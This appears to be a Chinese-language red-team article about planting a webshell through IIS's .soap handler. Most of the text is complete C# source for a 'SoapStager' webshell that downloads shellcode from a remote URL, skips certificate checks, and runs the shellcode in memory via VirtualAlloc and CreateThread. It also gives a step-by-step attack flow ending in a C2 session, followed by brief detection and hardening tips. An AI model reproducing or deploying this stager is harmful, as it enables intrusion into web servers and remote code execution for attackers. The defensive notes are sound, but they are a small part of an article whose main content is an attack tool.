IIS下的soap类webshell
字数 712 2025-08-12 11:33:35
IIS下利用.soap扩展的WebShell技术分析
技术背景
在默认安装的ASP.NET环境中,.soap文件扩展类型是默认启用的,这源于以下配置:
<add extension=".soap" type="System.Web.Compilation.WebServiceBuildProvider" />
关键点:
.soap扩展与.asmx使用相同的构建程序- 大多数Web服务器进程不需要写入
.soap扩展名的文件 - 安全防护设备通常缺少对
.soap文件的检测规则
环境准备
- 启用Windows Server 2019虚拟机
- 安装Web服务角色
- 添加ASP.NET 4.7功能
- 验证IIS处理程序映射中存在
*.soap扩展类型
WebShell代码分析
基本结构
<%@ WebService Language="C#" class="SoapStager"%>
using System;
using System.IO;
using System.Web;
using System.Web.Services;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;
Web服务绑定
[WebService(Namespace = "http://microsoft.com/", Description ="SOAP Stager Webshell", Name ="SoapStager")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
public class SoapStager : MarshalByRefObject
{
// ...
}
关键API调用
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32 flAllocationType, IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr param, Int32 dwCreationFlags, ref IntPtr lpThreadId);
Shellcode加载执行
[WebMethod]
public string loadStage()
{
string Url = "http://"; // shellcode位置
byte[] rzjUFlLZh;
// 配置WebClient
IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
webClient.UseDefaultCredentials = true;
rzjUFlLZh = webClient.DownloadData(Url);
}
// 分配内存并执行
IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero, (UIntPtr)rzjUFlLZh.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh, 0, fvYV5t, rzjUFlLZh.Length);
IntPtr owlqRoQI_ms = IntPtr.Zero;
IntPtr vnspR2 = CreateThread(IntPtr.Zero, UIntPtr.Zero, fvYV5t, IntPtr.Zero, 0, ref owlqRoQI_ms);
return "finished";
}
攻击流程
- 将.soap WebShell文件上传至目标服务器
- 访问目标站点的.soap文件路径
- 使用Burp Suite的Wsdler扩展解析页面
- 通过Repeater模块测试执行
- 验证响应包返回200状态码
- 检查C2服务器确认会话建立
防御建议
- 检查并限制IIS中不必要的文件扩展处理程序
- 在web.config中移除不必要的构建提供程序
- 添加对.soap文件上传的检测规则
- 监控w3wp.exe进程的异常行为
- 更新EDR/AV规则以检测此类WebShell
检测难点
- 该技术使用合法的.soap扩展名
- 代码结构与正常Web服务相似
- 内存操作在IIS默认进程(w3wp.exe)中完成
- 多数安全设备缺少对.soap文件的检测规则
参考资源
原文地址: https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap (需科学上网)